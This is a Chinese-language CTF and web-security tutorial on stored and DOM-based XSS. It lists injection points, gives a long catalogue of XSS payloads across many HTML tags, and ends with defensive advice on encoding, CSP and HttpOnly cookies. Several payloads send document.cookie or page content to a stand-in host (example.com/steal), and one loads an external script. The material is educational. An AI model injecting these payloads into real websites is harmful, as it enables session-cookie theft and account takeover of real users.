CTF之xss注入——一切都似乎没有问题

admin 2026-05-18 05:13:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档系统介绍了CTF中XSS注入攻击技术,详细解析了反射型、存储型和DOM型三种XSS的原理、常见入口及防御策略,并提供了丰富的攻击载荷示例,包括script标签、多媒体标签、表单标签等多种载体及触发机制,最后总结了XSS攻击的核心逻辑与防御要点。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,渗透测试,安全开发


持久型

存储型XSS(又称持久型XSS)是危害性最大的跨站脚本攻击。其核心原理是攻击者通过发帖、评论等交互功能,将恶意脚本永久植入目标服务器的后端数据库中;当其他用户访问包含该数据的页面时,服务器直接从数据库加载并渲染恶意脚本,导致其在用户浏览器中自动执行。由于代码被持久化存储,无需诱导用户点击特定链接,只要访问被污染的页面即会触发攻击。这种极高的隐蔽性不仅极易造成蠕虫式的大规模传播,还会导致大量Cookie被盗取,甚至将用户机器变为DDoS攻击的肉鸡。防御存储型XSS需坚持“不信任任何数据”的原则:后端在数据入库前和输出给前端时,都必须对所有字段进行统一的转义处理;同时,前端在渲染页面DOM时,也必须对任何后端数据进行严格的转义,构建纵深防御体系。

常见入口

  1. 基础交互与表单区域:这是最经典的存储型 XSS 入口。包括评论区、留言板、论坛帖子、在线客服或问题反馈区。任何用户提交后会被其他用户浏览的文本框,都是攻击者的首选目标。
  2. 用户资料与个性化展示字段:现代应用通常允许用户自定义展示内容。攻击者会在用户昵称、个性签名、个人简介、头像链接等字段中注入恶意脚本。当其他用户访问该用户的个人主页或资料卡片时,脚本便会自动触发。
  3. 文件上传与内容预览:这是一个极易被忽略的高危场景。如果网站支持上传文件并提供在线预览功能,攻击者可以将恶意 JavaScript 代码隐藏在文档的元数据或注释中。当其他用户触发预览功能时,解析服务可能会执行这些脚本。此外,上传文件时的文件名如果未经过滤直接显示在页面上,也是一个常见的注入点。
  4. 后台管理与内部业务系统:这是危害性极高的入口。攻击者可以在管理员日志评论区、系统配置备注栏、后台通知发布页、用户反馈管理页、工单处理备注框等位置植入恶意代码。由于这些页面通常由高权限的管理员访问,一旦触发,极易导致管理员权限被窃取或后台系统被接管。
  5. 电商与业务数据展示:在电商或业务系统中,产品评价、订单备注信息等字段如果缺乏过滤,同样会成为恶意代码的温床。当客服或商家在后台查看订单详情时,就可能触发攻击。
  6. 系统回显与错误日志:部分网站会将用户的某些输入内容记录在服务器的报错信息或系统日志中,并在特定页面展示给管理员或其他用户。如果这些日志或错误信息未经转义直接渲染,也会形成存储型 XSS。

DOM型

DOM型XSS(基于文档对象模型的跨站脚本攻击)是一种纯客户端的攻击方式。其核心原理在于前端JavaScript代码的逻辑缺陷:客户端脚本从document.URLlocation.hashlocation.search等用户可控的输入源中提取数据后,未经严格的安全校验与过滤,就直接通过DOM操作动态修改页面结构。这种漏洞的触发完全依赖于前端脚本逻辑,恶意代码仅在受害者的本地浏览器中执行,不依赖于向服务器端提交数据或服务器的响应回显。由于攻击过程完全发生在客户端,传统的服务器端防御措施往往难以察觉和拦截,因此对前端代码的安全审计与输入消毒显得尤为重要。

常见入口

  1. URL 相关数据

    :这是最常见的 DOM XSS 入口。攻击者可以通过修改 URL 来注入恶意代码,前端脚本如果直接读取并渲染这些数据,就会触发漏洞。

  • location.href

    (完整的 URL)

  • location.search

    (URL 中 ? 后的查询参数)

  • location.hash

    (URL 中 # 后的片段标识符,常用于单页应用的前端路由)

  • document.URL

    document.documentURI

  1. 页面交互与跨域数据

  • document.referrer

    :当前页面是从哪个页面跳转过来的。攻击者可以伪造来源页面,将恶意代码植入 Referrer 中。

  • window.name

    :浏览器窗口的名称。该属性在页面跳转后依然可以保留,常被用于跨页面传递数据,若未过滤直接使用极其危险。

  • postMessage

    数据:在跨域通信中,如果接收方没有严格校验 message 事件的来源和数据内容,直接渲染接收到的数据,也会引发 DOM XSS。

  1. 本地存储数据

  • localStorage / sessionStorage / Cookie:如果前端脚本从这些本地存储中读取数据并直接写入页面,而攻击者之前通过其他漏洞在这些存储中写入了恶意代码,同样会触发 DOM XSS。

三、攻击载荷和代码

(一)script标签

1. 弹窗

http://example.com/a.php?a=<script>alert("This is a xss test")</script>
<script>alert("hack")</script>
<script>alert(/hack/)</script>
<script>alert(1)</script>

2. 获取cookie

<script>document.location.href='https://example.com/steal?cookie='+document.cookie</script>
<script>alert(document.cookie)</script>

3.引用外部脚本

<script&nbsp;src=http://xxx.com/xss.js></script>

4. 直接内嵌有害脚本

<script>
$('div.layui-table-cell').each(function(index,value){
&nbsp; &nbsp;&nbsp;if(value.innerHTML.indexOf('flag{')>-1){
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;window.location.href='http://example.com/'+value.innerHTML;
&nbsp; &nbsp; }
});
</script>

(二)body标签

<body&nbsp;οnlοad=alert(1)>
<body&nbsp;οnpageshοw=alert(1)>

(三)多媒体标签

<video&nbsp;οnlοadstart=alert(1)&nbsp;src="/media/hack-the-planet.mp4"&nbsp;/>
<video><source&nbsp;onerror=alert(1)>
<audio&nbsp;src=1&nbsp;onerror=alert(1);>
<object&nbsp;data=1&nbsp;onerror=alert(1);>
<svg&nbsp;onload="alert(1)">
<svg&nbsp;onload="alert(1)"//
<img&nbsp;src=""&nbsp;onerror=location.href="https://example.com/steal?cookie="+document.cookie>
<img&nbsp;&nbsp;src=1&nbsp;&nbsp;οnerrοr=alert("hack")>
<img&nbsp;&nbsp;src=1&nbsp;&nbsp;οnerrοr=alert(document.cookie)>
<svg&nbsp;onmousewheel=alert(1)>&nbsp;//需要滚动元素

(四)style标签

<style&nbsp;onload=alert(1)></style>
<style&nbsp;onreadystatechange=alert(1)></style>
<style>@import&nbsp;'javascript:alert(1)';</style>
<style>body{background-image:&nbsp;url("javascript:alert(1)");}</style>

(五)注释

--><script>alert(1)</script>

(六)属性名与属性值

" onmouseover="alert(1)" x="
" autofocus onfocus="alert(1)" x="
"><script>alert(1)</script><"

(七)标签名

<img&nbsp;src=x&nbsp;onerror=alert(1)>

<ImG&nbsp;sRc=x&nbsp;oNeRrOr=alert(1)>

(八)css样式设置

red; background-image: url(javascript:alert(1)); color:
red; width: expression(alert(1));
";"><script>alert(1)</script><" x="

(九)iframe标签

<iframe&nbsp;src="http://127.0.0.1/1.html"></iframe>
<iframe&nbsp;onload=alert(1);></iframe>
<link&nbsp;rel=stylesheet&nbsp;href=1&nbsp;onerror=alert(1)>

(十一)表单标签

<input&nbsp;onfocus=alert(1)&nbsp;autofocus>
<input&nbsp;onblur=alert(1)&nbsp;autofocus>
<input&nbsp;onfocus=alert(1);>
<input&nbsp;onblur=alert(1);>
<input&nbsp;oninput=alert(1);>
<input&nbsp;onchange=alert(1);>
<textarea&nbsp;onfocus=alert(1)&nbsp;autofocus>
<select&nbsp;onfocus=alert(1)&nbsp;autofocus></select>
<button&nbsp;onfocus=alert(1)&nbsp;autofocus></button>
<form&nbsp;onreset=alert(1)><input&nbsp;type=reset></form>&nbsp;//需点击重置按钮

(十二)文本样式标签

<a&nbsp;href=&nbsp;onfocus=alert(1)&nbsp;autofocus></a>
<a&nbsp;style=content-visibility:auto&nbsp;oncontentvisibilityautostatechange=alert(1)>
<h&nbsp;style=content-visibility:auto&nbsp;oncontentvisibilityautostatechange=alert(1)>
<div&nbsp;oncontextmenu=alert(1);>右键点我</div>&nbsp;//需要右键点击元素

总结

XSS攻击载荷的构造虽然千变万化,但其核心逻辑始终围绕着利用HTML标签承载与通过特定条件触发这两个关键维度展开。在核心标签载体方面,攻击者既会使用script标签直接嵌入JavaScript代码来执行弹窗或引用外部恶意脚本,也会大量利用img、svg、video、audio等多媒体标签以及iframe、body、style和各类表单标签进行隐蔽寄生,因为这些标签在日常网页中极为常见且不易引起警觉。在触发机制方面,事件驱动是最主流的方式,例如利用img标签配合onerror属性,只要图片资源加载失败即可在无需用户交互的情况下自动触发恶意代码;而onclick、onmouseover等属性则需要诱导用户点击或悬停,不过攻击者常会配合autofocus自动聚焦属性让表单元素在页面加载时自动获得焦点,从而实现无交互的静默触发。此外,当常规标签或属性被过滤时,攻击者还会利用大小写混淆、用斜杠代替空格、闭合逃逸提前闭合HTML标签强行插入恶意代码,以及利用javascript伪协议或CSS的expression等非常规途径来突破防御,最终在受害者毫无察觉的情况下执行非预期的恶意脚本。

常用触发机制:

| 事件属性 | 触发机制 | 常见载体标签 | | — | — | — | | onfocus | 元素获得焦点时触发 | <input><textarea><select> | | onblur | 元素失去焦点时触发 | <input><textarea><select> | | onerror | 资源加载失败时触发 | <img><script><video> | | onload | 元素加载完成时触发 | <body><img><iframe><svg> | | onclick | 鼠标点击元素时触发 | <a><div><button> | | onmouseover | 鼠标悬停在元素上触发 | <img><div><a> | | onmouseenter | 鼠标首次进入元素触发 | <div><img><table> | | onchange | 元素值改变且失焦触发 | <input><select><textarea> | | oninput | 用户输入内容时触发 | <input><textarea> | | onsubmit | 表单提交时触发 | <form> | | onreset | 表单重置时触发 | <form> | | ontoggle | 折叠状态改变时触发 | <details> | | onanimationstart | CSS动画开始时触发 | 任意带CSS动画的元素 | | ontransitionend | CSS过渡结束时触发 | 任意带CSS过渡的元素 | | oncontextmenu | 点击鼠标右键时触发 | <div><body><img> | | onwheel | 滚动鼠标滚轮时触发 | <div><body><canvas> | | oncopy / onpaste | 复制、粘贴时触发 | <input><textarea> | | onresize | 窗口大小调整时触发 | <body><window> | | onscroll | 滚动滚动条时触发 | <div><body><textarea> |

四、如何防范

防御XSS(跨站脚本攻击)的核心在于构建一套严密且多层次的“纵深防御体系”,绝不能仅仅依赖单一的安全措施。首先,必须严格把关数据的入口与出口,这是防御XSS最基础也是最关键的环节。在数据入口层面,要贯彻“不信任任何用户输入”的原则,在服务器端对输入数据进行严格的验证与过滤。对于常规字段,应采用白名单机制限制输入的格式、类型和长度;对于必须支持富文本的场景,切忌使用容易被绕过的黑名单过滤,而应使用专业的安全库对HTML内容进行深度净化。在数据出口层面,无论输入是否经过过滤,在将数据输出到前端页面时,都必须根据具体的上下文环境(如HTML标签内容、HTML属性值、JavaScript代码或URL参数)进行相应的实体编码。例如,将 < 转义为 &lt;,将 " 转义为 &quot;,从而确保浏览器将用户输入的内容完全当作纯文本进行渲染,而不是作为可执行的恶意脚本。然后,作为兜底保障,应部署内容安全策略。CSP是防御XSS的强力补充,通过配置HTTP响应头中的白名单规则,可以明确告诉浏览器仅允许加载和执行来自指定可信域名的资源。这能有效禁止内联脚本(如直接写在HTML里的 <script> 标签)和 eval() 等危险函数的执行。即使攻击者成功绕过了前两道防线注入了恶意代码,浏览器也会因为CSP的严格限制而拒绝执行它,从而将危害降到最低。此外,还应配合使用Cookie的安全防护措施。为关键的Cookie设置HttpOnly属性,可以禁止JavaScript通过 document.cookie 读取到该Cookie。这样,即便页面不幸存在XSS漏洞,攻击者也无法直接窃取用户的登录凭证。通过这层层设防的协同工作,可以从源头拦截、过程转义到最终执行限制,全方位地阻断XSS攻击风险。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:书中自有代码来 书中自有代码来 书中自有代码来《CTF之xss注入——一切都似乎没有问题》

kingman安全意见征集 网络安全文章

kingman安全意见征集

文章总结: kingman安全公众号发布内容征集邀请,感谢粉丝三年陪伴支持并回顾团队从入门到技术成长的历程,诚邀关注用户及安全圈朋友留言反馈感兴趣的安全技术内容
评论:0   参与:  0